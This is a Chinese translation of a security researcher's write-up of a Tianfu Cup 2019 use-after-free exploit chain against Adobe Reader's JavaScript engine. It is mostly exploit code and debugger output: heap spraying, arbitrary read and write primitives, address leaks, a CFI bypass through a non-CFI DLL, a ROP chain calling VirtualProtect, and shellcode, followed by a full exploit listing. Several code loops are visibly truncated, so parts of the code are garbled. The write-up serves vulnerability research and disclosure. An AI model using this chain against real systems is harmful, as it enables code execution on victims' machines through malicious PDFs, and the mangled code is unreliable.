2019年天府杯上的Adobe Reader RCE漏洞利用链分析
2020-04-30 11:10:00 Author: www.4hou.com(查看原文) 阅读量:326 收藏

导语:去年,Phan Thanh Duy在中国成都举行的[天府杯](http://www.tianfucup.com/)比赛,选择的目标是Adobe Reader。

去年,Phan Thanh Duy在中国成都举行的天府杯比赛,选择的目标是Adobe Reader。这篇文章将详细介绍JSObject的UAF漏洞。Phan Thanh Duy已经通过大量的尝试和错误完成了此漏洞利用,涉及很多代码,我建议你阅读完整的利用代码,并在必要时自行进行调试。

这篇文章是基于Windows 10主机和Adobe Reader编写的。

 http://www.tianfucup.com/

0x01  漏洞点分析

该漏洞位于EScript.api组件中,该组件是各种JS API调用的绑定层。

首先,我创建一个Sound对象数组。

 SOUND_SZ  = 512
 SOUNDS   = Array(SOUND_SZ)
 for(var i=0; i<512; i++) {
  SOUNDS[i] = this.getSound(i)
  SOUNDS[i].toString()
 }

这就是Sound对象在内存中的样子。第二个DWORD是一个指向JSObject它有elements,slots,shape,fields等4个DWORD值的字符串表示对象类型。我不确定Adobe Reader使用的是哪个版本的Spidermonkey。起初我以为这是NativeObject,但是它似乎与Spidermonkey的源代码不匹配。

 0:000> dd @eax
 088445d8  08479bb0 0c8299e8 00000000 085d41f0
 088445e8  0e262b80 0e262f38 00000000 00000000
 088445f8  0e2630d0 00000000 00000000 00000000
 08844608  00000000 5b8c4400 6d6f4400 00000000
 08844618  00000000 00000000
 
 0:000> !heap -p -a @eax
     address 088445d8 found in
     _HEAP @ 4f60000
       HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
         088445d0 000a 0000  [00]   088445d8    00048 - (busy)
         
 0:000> da 085d41f0
 085d41f0  "Sound"

该0x48内存区域及其字段将被释放和重用。由于AdobeReader.exe是32位二进制文件,因此我可以堆喷并确切知道受控制的数据在内存中的位置,然后可以用受控制的数据覆盖整个内存区域,并尝试找到一种控制PC的方法。

但是,我失败了,因为:

1. 我不知道所有内存区域都是什么;

2. 我没有泄漏内存;

3. Adobe有CFI缓解机制。

因此,我将注意力转向了JSObject(第二个DWORD),也能够伪造a 。JSObject是一个非常强大的原语,不幸的是第二个DWORD不在堆中,它位于VirtualAllocAdobe Reader启动时编辑的内存区域中。

需要注意的一点是,内存内容在释放后不会清除。

 0:000> !address 0c8299e8
                                      
 Mapping file section regions...
 Mapping module regions...
 Mapping PEB regions...
 Mapping TEB and stack regions...
 Mapping heap regions...
 Mapping page heap regions...
 Mapping other regions...
 Mapping stack trace database regions...
 Mapping activation context regions...
 
 Usage:                   Base Address:           0c800000
 End Address:            0c900000
 Region Size:            00100000 (   1.000 MB)
 State:                  00001000          MEM_COMMIT
 Protect:                00000004          PAGE_READWRITE
 Type:                   00020000          MEM_PRIVATE
 Allocation Base:        0c800000
 Allocation Protect:     00000004          PAGE_READWRITE
 
 Content source: 1 (target), length: d6618

我意识到了这一点,ESObjectCreateArrayFromESVals和ESObjectCreate也被分配到这个领域,我使用了currentValueIndices函数来调用ESObjectCreateArrayFromESVals:

 /* prepare array elements buffer */
 f = this.addField("f" , "listbox", 0, [0,0,0,0]);
 t = Array(32)
 for(var i=0; i<32; i++) t[i] = i
 f.multipleSelection = 1
 f.setItems(t)
 f.currentValueIndices = t
 // every time currentValueIndices is accessed `ESObjectCreateArrayFromESVals` is called to create a new array.
 for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices

查看ESObjectCreateArrayFromESVals返回值,可以看到JSObject 0d2ad1f0不在堆上,而是elements在08c621e8are 上的缓冲区,ffffff81是标签号。

 0:000> dd @eax
 0da91b00  088dfd50 0d2ad1f0 00000001 00000000
 0da91b10  00000000 00000000 00000000 00000000
 0da91b20  00000000 00000000 00000000 00000000
 0da91b30  00000000 00000000 00000000 00000000
 0da91b40  00000000 00000000 5b9868c6 88018800
 0da91b50  0dbd61d8 537d56f8 00000014 0dbeb41c
 0da91b60  0dbd61d8 00000030 089dfbdc 00000001
 0da91b70  00000000 00000003 00000000 00000003
 0:000> !heap -p -a 0da91b00
     address 0da91b00 found in
     _HEAP @ 5570000
       HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
         0da91af8 000a 0000  [00]   0da91b00    00048 - (busy)
  
 0:000> dd 0d2ad1f0
 0d2ad1f0  0d2883e8 0d225ac0 00000000 08c621e8
 0d2ad200  0da91b00 00000000 00000000 00000000
 0d2ad210  00000000 00000020 0d227130 0d2250c0
 0d2ad220  00000000 553124f8 0da8dfa0 00000000
 0d2ad230  00c10003 0d27d180 0d237258 00000000
 0d2ad240  0d227130 0d2250c0 00000000 553124f8
 0d2ad250  0da8dcd0 00000000 00c10001 0d27d200
 0d2ad260  0d237258 00000000 0d227130 0d2250c0
 0:000> dd 08c621e8
 08c621e8  00000000 ffffff81 00000001 ffffff81
 08c621f8  00000002 ffffff81 00000003 ffffff81
 08c62208  00000004 ffffff81 00000005 ffffff81
 08c62218  00000006 ffffff81 00000007 ffffff81
 08c62228  00000008 ffffff81 00000009 ffffff81
 08c62238  0000000a ffffff81 0000000b ffffff81
 08c62248  0000000c ffffff81 0000000d ffffff81
 08c62258  0000000e ffffff81 0000000f ffffff81
 
 0:000> dd 08c621e8
 08c621e8  00000000 ffffff81 00000001 ffffff81
 08c621f8  00000002 ffffff81 00000003 ffffff81
 08c62208  00000004 ffffff81 00000005 ffffff81
 08c62218  00000006 ffffff81 00000007 ffffff81
 08c62228  00000008 ffffff81 00000009 ffffff81
 08c62238  0000000a ffffff81 0000000b ffffff81
 08c62248  0000000c ffffff81 0000000d ffffff81
 08c62258  0000000e ffffff81 0000000f ffffff81
 0:000> !heap -p -a 08c621e8
     address 08c621e8 found in
     _HEAP @ 5570000
       HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
         08c621d0 0023 0000  [00]   08c621d8    00110 - (busy)

因此,现在的目标是覆盖elements缓冲区以注入伪造的Javascript对象。

这是我目前的计划:

1. 释放Sound对象。

2. 尝试使用分配密集数组到Sound释放的currentValueIndices对象位置。

3. 释放密集数组。

4. 尝试分配到释放的elements缓冲区中

5. 注入伪造的Javascript对象

下面的代码遍历SOUNDS数组以释放currentValueIndices元素并用于回收它们:

 /* free and reclaim sound object */
 RECLAIM_SZ   = 512
 RECLAIMS   = Array(RECLAIM_SZ)
 THRESHOLD_SZ  = 1024*6
 NTRY    = 3
 NOBJ    = 8 //18
 for(var i=0; i<NOBJ; i++) {
  SOUNDS[i] = null //free one sound object
  gc()
 
  for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices
  try {
         //if the reclaim succeed `this.getSound` return an array instead and its first element should be 0
    if (this.getSound(i)[0] == 0) {
     RECLAIMS[i] = this.getSound(i)
   } else {
    console.println('RECLAIM SOUND OBJECT FAILED: '+i)
    throw ''
   }
  }
  catch (err) {
   console.println('RECLAIM SOUND OBJECT FAILED: '+i)
   throw ''
  }
  gc()
 }
 console.println('RECLAIM SOUND OBJECT SUCCEED')

接下来,我们将释放所有密集数组,并尝试使用elements将其分配回TypedArray其缓冲区。0x33441122在数组的开头放置了伪造的整数,以检查回收是否成功。elements将具有受控缓冲区的损坏数组放入变量T:

 /* free all allocated array objects */
 this.removeField("f")
 RECLAIMS  = null
 f    = null
 FENCES   = null //free fence
 gc()
 
 for (var j=0; j<8; j++) SOUNDS[j] = this.getSound(j)
 /* reclaim freed element buffer */
 for(var i=0; i<FREE_110_SZ; i++) {
  FREES_110[i] = new Uint32Array(64)
  FREES_110[i][0] = 0x33441122
  FREES_110[i][1] = 0xffffff81
 }
 T = null
 for(var j=0; j<8; j++) {
  try {
         // if the reclaim succeed the first element would be our injected number
   if (SOUNDS[j][0] == 0x33441122) {
    T = SOUNDS[j]
    break
   }
  } catch (err) {}
 }
 if (T==null) {
  console.println('RECLAIM element buffer FAILED')
  throw ''
 } else console.println('RECLAIM element buffer SUCCEED')

从这开始,我们可以将伪造的Javascript对象放入elements缓冲区并泄漏分配给它的对象的地址。以下代码用于找出哪个TypedArray是我们的伪elements缓冲区并泄漏其地址。

 /* create and leak the address of an array buffer */
 WRITE_ARRAY = new Uint32Array(8)
 T[0] = WRITE_ARRAY
 T[1] = 0x11556611
 for(var i=0; i0)
   break
  } else {
   FREES_110[i] = null
  }
 }

0x02 任意读写

为了获得简洁的读取原语,我将一堆假字符串对象注入堆中,然后将其分配到elements缓冲区中。

 GUESS = 0x20000058 //0x20d00058 
 /* spray fake strings */
 for(var i=0x1100; i=0)
 DV = DataView(SPRAY[SPRAY_IDX])
 function myread(addr) {
     //change fake string object's buffer to the address we want to read.
  DV.setUint32(4, addr, true)
  return s2h(T[2])
 }

同样,为了实现任意写入,我创建了一个false的 TypedArray,复制WRITE_ARRAY内容并更改其SharedArrayRawBuffer指针。

 /* create aaw primitive */
 for(var i=0; i<32; i++) {DV.setUint32(i*4+16, myread(WRITE_ARRAY_ADDR+i*4), true)} //copy WRITE_ARRAY
 FAKE_ELES[6] = GUESS+0x10
 FAKE_ELES[7] = 0xffffff87
 function mywrite(addr, val) {
  DV.setUint32(96, addr, true)
  T[3][0] = val
 }
 //mywrite(0x200000C8, 0x1337)

0x03  获得代码执行

使用任意的读/写原语,我可以在EScript.API在TypedArray对象的标头中泄漏基址,EScript.API有一个非常方便的gadget可以调用VirtualAlloc。

 //d8c5e69b5ff1cea53d5df4de62588065 - md5sun of EScript.API
 ESCRIPT_BASE = myread(WRITE_ARRAY_ADDR+12) - 0x02784D0 //data:002784D0 qword_2784D0    dq ? 
 console.println('ESCRIPT_BASE: '+ ESCRIPT_BASE.toString(16))
 assert(ESCRIPT_BASE>0)

接下来,我泄漏对象的地址基址AcroForm.API和CTextField(0x60大小)对象的地址。首先使用CTextField分配一堆对象,addField创建一个也具有size的字符串对象0x60,然后泄漏此字符串(MARK_ADDR)的地址。我们可以假设这些CTextField对象将位于我们的后面MARK_ADDR,最后在堆中寻找CTextField::vftable。

 /* leak .rdata:007A55BC ; const CTextField::`vftable' */
 //f9c59c6cf718d1458b4af7bbada75243
 for(var i=0; i>>0)==0xc0000000)) break
 }
 console.println('MARK_ADDR: '+ MARK_ADDR.toString(16))
 assert(MARK_ADDR>0)
 
 /* leak acroform, icucnv58 base address */
 ACROFORM_BASE = vftable-0x07A55BC
 console.println('ACROFORM_BASE: ' + ACROFORM_BASE.toString(16))
 assert(ACROFORM_BASE>0)

然后,我们可以覆盖CTextField对象vftable以控制PC。

0x04 绕过CFI

启用CFI后,我们将无法使用ROP。我编写了一个小脚本来查找未启用CFI并在我的漏洞利用程序运行时加载的模块。

我发现了icucnv58.dll。

 import pefile
 import os
 
 for root, subdirs, files in os.walk(r'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader'):
  for file in files:
   if file.endswith('.dll') or file.endswith('.exe') or file.endswith('.api'):
    fpath = os.path.join(root, file)
    try:
     pe = pefile.PE(fpath, fast_load=1)
    except Exception as e:
     print (e)
     print ('error', file)
    if (pe.OPTIONAL_HEADER.DllCharacteristics & 0x4000) == 0:
     print (file)

该icucnv58.dll基址可以通过Acroform.API被泄露。icucnv58.dll内部有足够的gadget来执行堆栈和ROP。

 //a86f5089230164fb6359374e70fe1739 - md5sum of `icucnv58.dll`
 r = myread(ACROFORM_BASE+0xBF2E2C)
 ICU_BASE = myread(r+16)
 console.println('ICU_BASE: ' + ICU_BASE.toString(16))
 assert(ICU_BASE>0)
 
 g1 = ICU_BASE + 0x919d4 + 0x1000//mov esp, ebx ; pop ebx ; ret
 g2 = ICU_BASE + 0x73e44 + 0x1000//in al, 0 ; add byte ptr [eax], al ; add esp, 0x10 ; ret
 g3 = ICU_BASE + 0x37e50 + 0x1000//pop esp;ret

0x05 最后一步

我们有了实现完整代码执行所需的一切。使用任意写入原语将shellcode写入内存,然后调用VirtualProtect以启用执行权限。我的UAF漏洞利用程序的可靠性可以达到约80%的成功率,如果需要重试多次,则利用可能需要更多时间。

总结一下利用步骤:

 /* copy CTextField vftable */
 for(var i=0; i<32; i++) mywrite(GUESS+64+i*4, myread(vftable+i*4))
 mywrite(GUESS+64+5*4, g1)  //edit one pointer in vftable
 
 // // /* 1st rop chain */
 mywrite(MARK_ADDR+4, g3)
 mywrite(MARK_ADDR+8, GUESS+0xbc)
 
 // // /* 2nd rop chain */
 rop = [
 myread(ESCRIPT_BASE + 0x01B0058), //VirtualProtect
 GUESS+0x120, //return address
 GUESS+0x120, //buffer
 0x1000, //sz
 0x40, //new protect
 GUESS-0x20//old protect
 ]
 for(var i=0; i<rop.length;i++) mywrite(GUESS+0xbc+4*i, rop[i])
 
 //shellcode
 shellcode = [835867240, 1667329123, 1415139921, 1686860336, 2339769483,
             1980542347, 814448152, 2338274443, 1545566347, 1948196865, 4270543903,
             605009708, 390218413, 2168194903, 1768834421, 4035671071, 469892611,
             1018101719, 2425393296]
 for(var i=0; i<shellcode.length; i++) mywrite(GUESS+0x120+i*4, re(shellcode[i]))
 
 /* overwrite real vftable */
 mywrite(MARK_ADDR, GUESS+64)

完整利用代码:

 https://github.com/star-sg/CVE/tree/master/CVE-2019-16452
 
 /* util functions */
 console.show()
 function gc() {new ArrayBuffer(3*1024*1024*100)}
 function s2h(s) {
  var n1 = s.charCodeAt(0)
  var n2 = s.charCodeAt(1)
  return ((n2<>>0
 }
 redv = new DataView(new ArrayBuffer(4))
 function re(n) {
  redv.setUint32(0, n, false)
  return redv.getUint32(0, n, true)
 }
 function assert(condition) {
  if (condition==false) {
   console.println('assert')
   throw ''
  }
 }
 //////////////////////////////
 
 
 STR_60   = "A".repeat(0x60/2-1)
 FREE_110_SZ = 1024*2
 FREES_110  = Array(FREE_110_SZ)
 
 /* heap spray */
 SPRAY_SIZE  = 0x2000
 SPRAY   = Array(SPRAY_SIZE)
 GUESS   = 0x20000058 //0x20d00058 
 for(var i=0; i<SPRAY_SIZE; i++) SPRAY[i] = new ArrayBuffer(0x10000-24)
 //////////////////////////////
 
 /* prepare array elements buffer */
 f = this.addField("f" , "listbox", 0, [0,0,0,0]);
 t = Array(32)
 for(var i=0; i0)==0xc0000000)) break
 }
 console.println('MARK_ADDR: '+ MARK_ADDR.toString(16))
 assert(MARK_ADDR>0)
 /////////////////////////////////
 
 /* leak acroform, icucnv58 base address */
 ACROFORM_BASE = vftable-0x07A55BC
 console.println('ACROFORM_BASE: ' + ACROFORM_BASE.toString(16))
 assert(ACROFORM_BASE>0)
 r = myread(ACROFORM_BASE+0xBF2E2C)
 //a86f5089230164fb6359374e70fe1739
 ICU_BASE = myread(r+16)
 console.println('ICU_BASE: ' + ICU_BASE.toString(16))
 assert(ICU_BASE>0)
 /////////////////////////////////
 
 g1 = ICU_BASE + 0x919d4 + 0x1000//mov esp, ebx ; pop ebx ; ret
 g2 = ICU_BASE + 0x73e44 + 0x1000//in al, 0 ; add byte ptr [eax], al ; add esp, 0x10 ; ret
 g3 = ICU_BASE + 0x37e50 + 0x1000//pop esp;ret
 
 //app.response({cQuestion: "",cTitle: "",cDefault: g3.toString(16),cLabel: ""});
 
 /* copy CTextField vftable */
 for(var i=0; i<32; i++) mywrite(GUESS+64+i*4, myread(vftable+i*4))
 mywrite(GUESS+64+5*4, g1)  //edit one pointer in vftable
 /////////////////////////////////
 
 // // /* 1st rop chain */
 mywrite(MARK_ADDR+4, g3)
 mywrite(MARK_ADDR+8, GUESS+0xbc)
 
 // // /* 2nd rop chain */
 rop = [
 myread(ESCRIPT_BASE + 0x01B0058), //VirtualProtect
 GUESS+0x120, //return address
 GUESS+0x120, //buffer
 0x1000, //sz
 0x40, //new protect
 GUESS-0x20//old protect
 ]
 for(var i=0; i<rop.length;i++) mywrite(GUESS+0xbc+4*i, rop[i])
 
 //shellcode
 shellcode = [835867240, 1667329123, 1415139921, 1686860336, 2339769483, 1980542347, 814448152, 2338274443, 1545566347, 1948196865, 4270543903, 605009708, 390218413, 2168194903, 1768834421, 4035671071, 469892611, 1018101719, 2425393296]
 for(var i=0; i<shellcode.length; i++) mywrite(GUESS+0x120+i*4, re(shellcode[i]))
 
 /* overwrite real vftable */
 mywrite(MARK_ADDR, GUESS+64)

利用该漏洞,我们可以弹出Calc:

1586794196828.png

 https://youtu.be/wZAPfW9Z0yA

本文翻译自:https://starlabs.sg/blog/2020/04/tianfu-cup-2019-adobe-reader-exploitation/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/lMj6
如有侵权请联系:admin#unsafe.sh